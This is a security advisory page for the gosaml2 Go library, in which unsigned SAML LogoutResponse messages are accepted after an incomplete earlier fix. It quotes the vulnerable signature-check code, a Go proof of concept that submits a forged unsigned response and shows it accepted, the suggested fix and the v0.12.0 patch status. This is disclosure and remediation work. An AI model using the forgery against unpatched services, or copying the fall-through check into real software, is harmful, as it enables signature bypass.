GHSA-VV4X-5GVR-CHH8
Unsigned SAML LogoutResponse acceptance (incomplete fix for GHSA-pcgw-qcv5-h8ch)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche v0.12.0 | github.com/russellhaering/gosaml2 · -14 d desde divulgación | |
| Divulgación | Publicada | GHSA-VV4X-5GVR-CHH8 divulgada · CVSS 5.3 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Unsigned SAML LogoutResponse Acceptance (Incomplete Fix for GHSA-pcgw-qcv5-h8ch)
Summary
The fix for unsigned LogoutRequest acceptance (commit 7159bbe, GHSA-pcgw-qcv5-h8ch) was not applied to `ValidateEncodedLogoutResponsePOST`. When `SkipSignatureValidation` is false and a LogoutResponse has no XML signature, the code silently falls through and accepts the unverified response.
The same issue was reported independently by @tonghuaroot, whose separate report is merged into this advisory.
Details
In `decode_response.go:556-567`, the LogoutResponse signature validation has the same vulnerable pattern that was fixed in the LogoutRequest handler:
if !sp.SkipSignatureValidation {
el, err = sp.validateElementSignature(el)
if err == dsig.ErrMissingSignature {
// Unfortunately we just blew away our Response
el = doc.Root()
// Falls through -- unsigned response accepted
} else if err != nil {
return nil, err
} else if el == nil {
return nil, fmt.Errorf("missing transformed logout response")
} else {
responseSignatureValidated = true
}
}
Compare with the fixed LogoutRequest at `decode_logout_request.go:58-60`:
if err == dsig.ErrMissingSignature {
return nil, fmt.Errorf("logout request is not signed")
}
The `responseSignatureValidated` flag is set to false (line 555 default) but the function returns the response without error at line 582. `ValidateDecodedLogoutResponse` at `validate.go:247` does not check the `SignatureValidated` field.
Proof of Concept
package main
import (
"encoding/base64"
"fmt"
saml2 "github.com/russellhaering/gosaml2"
dsig "github.com/russellhaering/goxmldsig"
)
func main() {
sp := &saml2.SAMLServiceProvider{
IdentityProviderIssuer: "https://idp.example.com",
ServiceProviderSLOURL: "https://sp.example.com/slo",
IDPCertificateStore: &dsig.MemoryX509CertificateStore{},
SkipSignatureValidation: false,
}
unsigned := `<samlp:LogoutResponse xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
ID="_fake" Version="2.0" IssueInstant="2026-03-26T00:00:00Z"
Destination="https://sp.example.com/slo" InResponseTo="_req">
<saml:Issuer>https://idp.example.com</saml:Issuer>
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
</samlp:LogoutResponse>`
resp, err := sp.ValidateEncodedLogoutResponsePOST(
base64.StdEncoding.EncodeToString([]byte(unsigned)))
if err != nil {
fmt.Printf("Rejected: %v\n", err)
} else {
fmt.Printf("ACCEPTED: SignatureValidated=%v Issuer=%s\n",
resp.SignatureValidated, resp.Issuer.Value)
}
}
Output:
ACCEPTED: SignatureValidated=false Issuer=https://idp.example.com
The unsigned LogoutResponse is accepted. For comparison, the same test with LogoutRequest correctly returns: `logout request is not signed`.
Impact
An attacker without any cryptographic material can forge SAML LogoutResponse messages to:
- Confirm session termination that did not occur (SLO protocol manipulation)
- Inject arbitrary status codes and session indexes
- Disrupt the Single Logout flow between SP and IdP
While lower severity than the LogoutRequest vulnerability (which allows an attacker to trigger logout), it is a signature verification bypass in a security-critical protocol handler and should have the same fix applied.
Suggested Fix
if err == dsig.ErrMissingSignature {
return nil, fmt.Errorf("logout response is not signed")
}
Patch
Fixed in v0.12.0 by https://github.com/russellhaering/gosaml2/pull/282, which applies the suggested fix above: `ValidateEncodedLogoutResponsePOST` now returns `logout response is not signed` on `dsig.ErrMissingSignature` instead of falling through, mirroring commit 7159bbe on the LogoutRequest side.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
gogithub.com/russellhaering/gosaml2 |
Corregida | v0.12.0 | -14 d | v0.12.0 no afectada |
v0.12.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/russellhaering/gosaml2/security/advisories/GHSA-vv4x-5gvr-chh8Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
